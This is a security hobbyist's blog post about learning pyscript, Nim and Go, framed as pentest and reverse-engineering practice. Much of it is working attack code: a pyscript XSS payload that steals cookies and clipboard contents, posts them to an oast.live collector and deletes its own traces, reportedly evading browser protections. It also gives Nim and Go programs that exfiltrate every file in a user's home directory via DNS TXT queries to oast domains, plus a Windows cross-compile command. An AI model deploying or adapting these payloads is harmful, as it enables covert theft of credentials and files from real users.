pyscript, nim, aaaaand go


    Just wanted to drop some stuff over what I've been playing with lately. Please be aware, tools and links described here might be or be able to be used maliciously, don't click or run things without understanding them. Much of the code referenced here can be found on github .

Pyscript

    To start with, I found the latest version of pyscript and couldn't really think of anything to do with it, outside of visualizations for web interface, or making integrations with jypyter widgets a little different without learning javascript. So I went a different route. In case anyone isn't aware, pyscript is intended to go along side pyodide or micropython (web versions of python) to leverage python programming inside a web page (loading these as javascript modules with fun little interface features). There is a wide range of examples (https://pyscript.com/@examples) and even an online ide (coding environment) to play with.

    That's where I came in, after a quick chore wheel (https://pyscript.com/@ferasdour/chore-wheel/latest?files=index.html) migrated to a web page, I could see this simple task ran pretty well. So then decided to take a quick glance at what it would take to create an xss scenario using pyscript. So I made a little cookie stealer (https://pyscript.com/@ferasdour/xss-test/latest?files=index.html) and found a few ways to do this. Apparently, simply crypting can also be done on the python data and it would still run. Using a malware lab with several alerting tools, I wasn't able to get anything to flag on this. Specifically including, due to the primary use in the environment, malwarebytes pro with all protections turned on (except it flags specific domains, so using oast was an issue), and the browser protection plugin for chrome. Because xhr requests are so predominant unless you use specific script blockers, it doesn't seem to want to prevent this by default. 

    I furthered this, in part at a client's request, by testing how else I could load this, and decided to use a javascript mechanism to do so (https://pyscript.com/@ferasdour/evil-poc-dont-use/latest?files=README.md). Using this, I verified "whatever.js" worked with script tag imports. Then I was able to get the img tag onerror working using an import() function from javascript. I also tried several other tricks, like loading the page as an object tag, which loads the main index page but doesn't launch the scripts. Most importantly, between several major vendors' browser protections, I was unable to get any of them to flag this script as malicious despite it leveraging the same javascript that they do flag as being malicious, just launched through pyscript. For most environments, edr is definitely the optimal solution for coverage, but for those who can't afford or maintain such things setting script blockers around core things, such as clipboard or cookies, at least on an alerting capacity helps. But the moral of the story, just because something says a browser is safe by using a plugin for security, doesn't stop all threats and likely won't prevent data leaks. Nor does "it has a lock saying it's secure" because it takes nothing to create a certificate and that was never really an indicator of safety just that it was encrypted.

    The javascript is pretty straight forward itself though to run this. The url parameter can be set for a new endpoint to send data to, such as when linking, you can add it with the onerror loading parameters, or load it to the page that's being presented so you never have to modify this code directly before re-directing this again.

import('https://pyscript.net/releases/2025.2.1/core.js');
const config=document.createElement('py-config');
config.textContent='{"name": "xss successful", "packages": ["asyncio"]}';
config.id="config";
document.head.appendChild(config);
const script=document.createElement('script');
script.src="https://pyscript.net/releases/2025.2.1/core.js";
script.async=true;
script.type="module";
script.id="pyscript"
document.head.appendChild(script)
script.onload=() => {console.log('successful');};
const script2=document.createElement('script');
const div1=document.createElement('div');
div1.id="c";
document.body.appendChild(div1);
script2.type="py";
script2.id="py-0"
script2.async=true;
script2.config='{"name": "xss successful", "packages": ["asyncio"]}';
script2.textContent=`
import asyncio, js, pyscript, base64, urllib
from pyodide.ffi import create_proxy
import warnings
#warnings.filterwarnings("ignore")
from js import XMLHttpRequest
from io import StringIO
from pyscript import document

url_string=js.window.location.search
parameters=urllib.parse.parse_qs(url_string[1:])
if "url" in parameters:
    url=parameters["url"][0]
else:
    url="https://d07qe06kuj22gblhk9rg93zbmdcbq6e7m.oast.live"
   
async def get_clipboard_data():
        try:
            all_cookies = document.cookie
            text_data = await js.navigator.clipboard.readText()
            req = XMLHttpRequest.new()
            req.open("POST", url, False)
            req.setRequestHeader("Origin", "*")
            req.send(all_cookies+";\\n\\n"+str(base64.b64encode(bytes(text_data, 'utf-8'))))
        except:
            pass

async def rem():
    pyscript.document.querySelector("#py-0").remove()
    pyscript.document.querySelector("#c").remove()
    pyscript.document.querySelector("#config").remove()
    pyscript.document.querySelector("#pyscript").remove()
    pyscript.document.querySelector("#py-0").remove()

pyscript.document.querySelector("#c").focus()
get_clipboard_data_proxy = create_proxy(get_clipboard_data)
async def main():
    while True:
        try:
            asyncio.ensure_future(get_clipboard_data_proxy())
            await asyncio.sleep(10)
            await rem()
            break
        except:
            pass


main()
`;
document.body.appendChild(script2);

Nim

    This has been a journey. I'd never used the nim programming language before recently and thought the idea of yet another kind of middle language (or whatever you call it, where the language builds a tool that then compiling to assembly), wasn't actually beneficial (see also, c#/dotnet, F#). Didn't really understand it or the purpose behind it, aside from it clearly seems to be made for the purpose of malware, especially with it's built in obfuscation routines that seem to be justified only be "because we need to ensure there isn't' conflicts within C when it's converted." That said, I found it because malware. Specifically, I've seen a few tools for reverse-engineering it, as well as several talks about it, then went to take the PMRP exam and the study material (https://github.com/HuskyHacks/PMAT-labs) includes a nim binary. While this wasn't really a clear example of what can be done with nim, it occurred to me to better reverse it, I should learn it.

    Learning nim, I tried to simply fast track which, isn't always the most pleasant way to learn something. I relied heavily on google, rizin, and offensive nim (https://github.com/byt3bl33d3r/OffensiveNim). The example I tried to tinker with for reversing was the dns_exfiltrate.nim, I thought, okay just hammer out how to make a loop for this to go through all of the users files instead of just the one target file and do the same with them, that'll be the ticket! Which, I did eventually get working, but with some minor issues along the way. The biggest part is the difference between these two codes:

1. 
import dnsclient, os, random
from base64 import encode

const CHUNK_SIZE = 20

var domain_name = "d0bppvukuj25s86t4750nn63j5i3a19as.oast.fun"
var auth_ns = "8.8.8.8"

proc dns_exfiltrate(target: string): void =
    var content = readFile(target)
    let b64 = encode(content, safe=true)

    var stringindex = 0
    while stringindex <= b64.len-1:
        try:
            var query =  b64[stringindex .. (if stringindex + CHUNK_SIZE - 1 > b64.len - 1: b64.len - 1 else: stringindex + CHUNK_SIZE - 1)]
            let client = newDNSClient(auth_ns)
            var dnsquery = query & domain_name
            discard(client.sendQuery(dnsquery, TXT))
            stringindex += CHUNK_SIZE
            sleep(rand(2000..30000))
        except Exception as e:
            echo "[-] Something broke fam: ", e.msg

when isMainModule:
 for kind, path in walkDir(getHomedir()):
  dns_exfiltrate(path)

2. 

import dnsclient, os, random
from base64 import encode

const chunksize = 20
echo chunksize

proc nsex(ns: string, target: string, domain_name: string): void =
 var content = readFile(target)
 let b64 = encode(content,safe=true)
 var stringindex = 0
 while stringindex <= b64.len - 1:
  try:
   var query = b64[stringindex .. (if stringindex + chunksize - 1 > b64.len - 1: b64.len - 1 else: stringindex + chunksize - 1)]
   let client = newDNSClient(ns)
   var dnsquery = query & "." & domain_name
   var response = client.sendQuery(dnsquery,TXT)
    echo response
   stringindex += chunksize
   sleep(rand(2000..30000))
  except Exception as e:
    discard
    echo "Caught Exception: ", e.msg  

when isMainModule:
 for kind, path  in walkDir(getHomeDir()):
 echo path
  try:
   nsex("8.8.8.8", path, "d0bppvukuj25s86t4750nn63j5i3a19as.oast.online")
  except:
   discard

 Both compiled using:

docker run --user root --rm -v `pwd`:/usr/local/src chrishellerappsian/docker-nim-cross:latest /bin/bash -c "nimble install -y dnsclient; nim c --os:windows --cpu:amd64 --out:nsEx.exe dns_exfiltrate.nim"

    At first I thought, nim seemed pretty straight forward. But when running the first one, I couldn't get it to work. Tried running through debugger and it looked to me like it initialized the dns query feature but never referenced it when calling it. Compiles fine, no errors, why was this first one not working? So a lot of adding echo statements and debugging in rizin (cutter cli),  my first thought was that it didn't need the dns resolver ip, so I removed that. Then I wound up thinking okay, maybe it's just the calling convention. So I migrated everything calling these features back into defined variables for the function, and hey look... still failed to send the right traffic, but at least this time it got a response. Sort of. The response I got from interactsh-client was:

;Z2l2ZSBtZSBzb21lIGNyZWRpdAd0cf7j6kuj21reu5svd0k6c13h8hnggzs.oaSt.fUN.        IN       TXT

    As simple as this seems, the part I overlooked from the original source (https://raw.githubusercontent.com/byt3bl33d3r/OffensiveNim/refs/heads/master/src/dns_exfiltrate.nim) was the "." in front of the domain name. Given that the query attempted in the code is a text query to (base64).whatever.(tld) to exfil data over queries, I thought okay, so... can putting a . really solve my problem?

    The answer is yes. Aside from calling convention needing to be fixed (i still don't understand why it doesn't run without that). I adjusted accordingly and now it's running smoothly. Easily parse incoming data with bash grep, awk, and base64 commands. Now I just need to adjust it to throw the name out first, then after the file is finished add a not 20 character part to initialize the final part of the file, and write a quick wrapper script to store each file after exfil.

    The good thing about nim from a reverse engineering side, is it's still pretty straight forward. Once you find nimMainModule function set, you can pretty much track the whole purpose of the binary. Bad things, everything else. 

Go go go

    I've had a long standing hate-hate relationship with go, not because of anything really just because of it being go. As a youngin' I was often told that I should try to minimize resource waste, strictly smaller binaries are the most effective ways to go; which golang is not. Kind of like java wasn't yet everyone still insisted on using it. While golang is powerful and extensive and supposedly memory safe (https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=golang), I just never really saw the draw to it. In my mind, rust has way more going for it these days because not only it's long standing use in cryptography and repeatable procedures (see: https://github.com/str4d?tab=repositories&q=&type=&language=rust&sort= ) but maybe I'll come back to rust another time. For now, go. Go is being used EVERYWHERE. From pentesting tools, various api cli tools, a lot of just everywhere always sort of stuff. So, better to not get behind on that, and what better way to learn than by trying to understand the usage for tools I know and use. One option, which really provided me the best insight was bettercap (https://github.com/bettercap/bettercap) because it uses a wide range of functionality and is incredibly modular focused. Instead however, I opted to cover for this post, the ibmcloud cli. Because thats what really started this. Wanted to see how different ibmcloud cli plugins interacted on a lower level. 

    Now, reverse engineering golang binaries can sometimes be a huge pain in the back side. They are extremely large, if there is something imported and only used to waste space you could potentially have hundreds of thousands of branches. To combat that slightly, go has this weird protection that prevents circular imports so there isn't just one importing another importing another, but that doesn't do anything for the binaries created where the imports are everything they could possible imagine to add into a file, or with import one, modify, reimport sort of nonsense. But that aside, after waiting the thousand years for ghidra to analyze a go binary and for the "fix golang function param storage" and the 30 or so useful golang ghidra scripts people have made; you can clearly see what's going on behind all that.

    You can also see pretty clearly with strings various imported libraries, like this one (https://github.com/search?q=%22github.com%2Furfave%2Fcli%22&type=repositories) that seems to be popular, which will be different from the strings table. Oh yeah, golang uses a table that simply catches all the strings used in the program into a single table and is referenced later as start of table + whatever address is needed to get to the string in use and is limited by a specific length count of how many chars to pull from the table. It's kind of a neat system that maybe more languages could use to store space efficiently and never have repeating strings when references to the same string arrays is available. There is limitations on this sort of thing, like assembly level duplication within the binary in order to handle that sort of thing, but irrelevant for now. 

    To start off with, when debugging, we run into an obvious issue or two. First one, is debugging this takes forever. Just do run a simple run until main, takes literal days. if it even hits it.

[0x004725e0]> afl |grep -i \.main
0x0043e060   47 1045         sym.go.runtime.main
0x0043e480    5 34           sym.go.runtime.main.func2
0x00468ca0    3 50           sym.go.runtime.main.func1
[0x00472d83]> afl |grep -i main|grep -iv sym
0x00c3f000    5 118          main
[0x004725e0]> db main
[0x004725e0]> dbl
start      end        size perm hwsw type  state   valid cmd cond name module                      
----------------------------------------------------------------------------------------------------
0x00c3f000 0x00c3f001 1    --x  sw   break enabled valid          main /root/.bluemix/plugins/sl/sl
[0x004725e0]> dc # okay well maybe get to main... spends several hours
[0x004101d3]> dc # two days later
[0x00c3f000]>

         So instead, setting a breakpoint at sym.go.runtime.main:

0x0043e060   47 1045         sym.go.runtime.main
0x0043e480    5 34           sym.go.runtime.main.func2
0x00468ca0    3 50           sym.go.runtime.main.func1
[0x004725e0]> db @ sym.go.runtime.main
[0x004725e0]> dc
hit breakpoint at: 0x43e060

    Whiiiiiich I then stumbled across this glorious segfault problem when trying to display as a graph:

[0x0043e060]> VV

Rendering graph...Function was modified. Reanalyze? (Y/n) y

zsh: segmentation fault  HTTPS_PROXY=http://192.168.56.1:8080 rizin -d /root/.bluemix/plugins/sl/sl  


    These same problems also correlate over to ghidra as well, taking a long time to complete the auto analyze portions random crashes during specific debugging tasks, etc... most of which tends to come down to memory resource issues and needing to regain memory for other threads or other processes. Though I haven't investigated this rizin problem this time, this happened during the writing of this when I wanted to showcase what could be shown at the go runtime main. But just as a case reference, while waiting on this to run multiple threads and nothing hitting the breakpoints, I did the same in ghidra a lot faster... sort of. I say sort of because it also has to auto analyze, then it has to run scripts to recover the function names, then some of the recovered functions don't show up directly but you have to search references to the offset then break on those which can also be reused. 




    Long story short with go, as far as reverse engineering goes, the shortcuts that are out there to make everyone's life a little easier, still involves a good bit of effort even from just a debugging your own stuff sort of situation. Which, while that might mean less likely people will spend the time to debug every feature, to me that also means once you find something it might be years before it's fixed or found by someone else. For programming for ourselves, offensive go has some easy to implement references and tools. In the exfil pkg file (https://github.com/MrTuxx/OffensiveGolang/blob/main/pkg/exfil/exfil.go) I noticed it didn't have a dns exfil the same way the offensive nim did. After hacking together ideas from those go files and some googling on how certain things are handled, I have a working script that does the same as our nim file before:

package main

import (
        "encoding/base64"
        "fmt"
        "io/fs"
        "io/ioutil"
        "net"
        "os"
        "path/filepath"
)

func main() {
        homeDirname, err := os.UserHomeDir()
        if err != nil {
                fmt.Println("Error getting home directory:", err)
                return
        }

        domainName := "d0f4fr6kuj27j8j3cirg4y8yi9nfgf3rb.oast.me"
        chunkSize := 20

        err = filepath.WalkDir(homeDirname, func(path string, d fs.DirEntry, err error) error {
                if err != nil {
                        fmt.Printf("Error accessing path %s: %v\n", path, err)
                        return err
                }

                if !d.IsDir() {
                        content, err := ioutil.ReadFile(path)
                        if err != nil {
                                fmt.Printf("Error reading file %s: %v\n", path, err)
                                return err
                        }

                        encodedString := base64.StdEncoding.EncodeToString([]byte(content))
                        size := len(encodedString)
                        index := 0
                        stringIndex := 0

                        for index <= size-1 {
                                endIndex := stringIndex + chunkSize - 1
                                if endIndex >= size {
                                        endIndex = size - 1
                                }

                                query := encodedString[index:endIndex+1]
                                dnsQuery := query + "." + domainName

                                _, err := net.LookupTXT(dnsQuery)
                                if err != nil {
                                        continue
                                }

                                index += chunkSize
                                stringIndex += chunkSize
                        }
                }
                return nil
        })

        if err != nil {
                fmt.Println("Error walking directory:", err)
        }
}

     One last bit on what I've found with golang, the plugin functionality. Not to be confused with the way the ibmcloud cli uses plugins as part of it's sdk, but a go specific plugin feature. I found that the latest versions of go use a "plugin" functionality that allows you to dynamically import other files as library files into the running application. So, naturally, I tried to see if I could import glibc. Many hours and banging my head later, I stumbled across this (https://cs.opensource.google/go/go/+/refs/tags/go1.24.2:src/plugin/plugin.go). I thought "why use the c ffi to import glibc (known trick) when you can use plugins. Oddly enough, this also relies on the same thing to do that importing. What I was trying, I could get go to look up the export list, but I just couldn't seem to get it to run, trying to do stuff like this:

package main

    import (

        "fmt"

        "plugin"

        "log"

    )

    func main() {

        plug, err := plugin.Open("/lib32/libc.so.6")

        if err != nil {

            log.Fatalf("Can't open plugin: %v", err)

        }

        sym, err := plug.Lookup("execv@@GLIBC_2.0")

        if err != nil {

           log.Fatalf("Can't find Greet function: %v", err)

        }

  myFunc, ok := sym.(func(string) string)

        if !ok {

        panic("unexpected type from plugin")

        }

  result := myFunc("/bin/bash")

  if err != nil {

    fmt.Println(err)

    return

  }

        fmt.Println(result)

    }

    This kept coming up with errors like "2025/05/09 13:34:26 Can't open plugin: plugin.Open("/lib32/libc.so.6"): /usr/lib32/libc.so.6: wrong ELF class: ELFCLASS32", yet other libraries seemed to work just fine. At first I assumed the elf class error meant that it was the wrong format, so using go env variables I changed it to use 32 bit and it still didn't work. But then if I change that to other libraries that don't work, but still attempt to load, like libcudart and try to grab one of it's exports (from readelf command), I get fun go runtime errors:

fatal error: runtime: no plugin module data

goroutine 1 gp=0xc000002380 m=0 mp=0x701aa0 [running]:

runtime.throw({0x5d1cb2?, 0xc000050bb0?})

    After a bit of testing, it seemed to be working with ones who had an export function beginning with a capital letter. Such as a few cobalt support libraries and obscure things like that. I don't really know that I've understood yet why that's the case, but from the comments (https://cs.opensource.google/go/go/+/refs/tags/go1.24.2:src/plugin/plugin_dlopen.go;l=69;bpv=0) it looks like the plugin functions still haven't fully worked out ensuring plugins are actually go compiled binaries.


Thanks for reading

If you need any IT or CyberSecurity work remotely or within the DFW area, please contact us over at FeemcoTechnologies.

Comments

Popular Posts

Updates

Weird hunting

Networking Basics - Pentesting Training part 1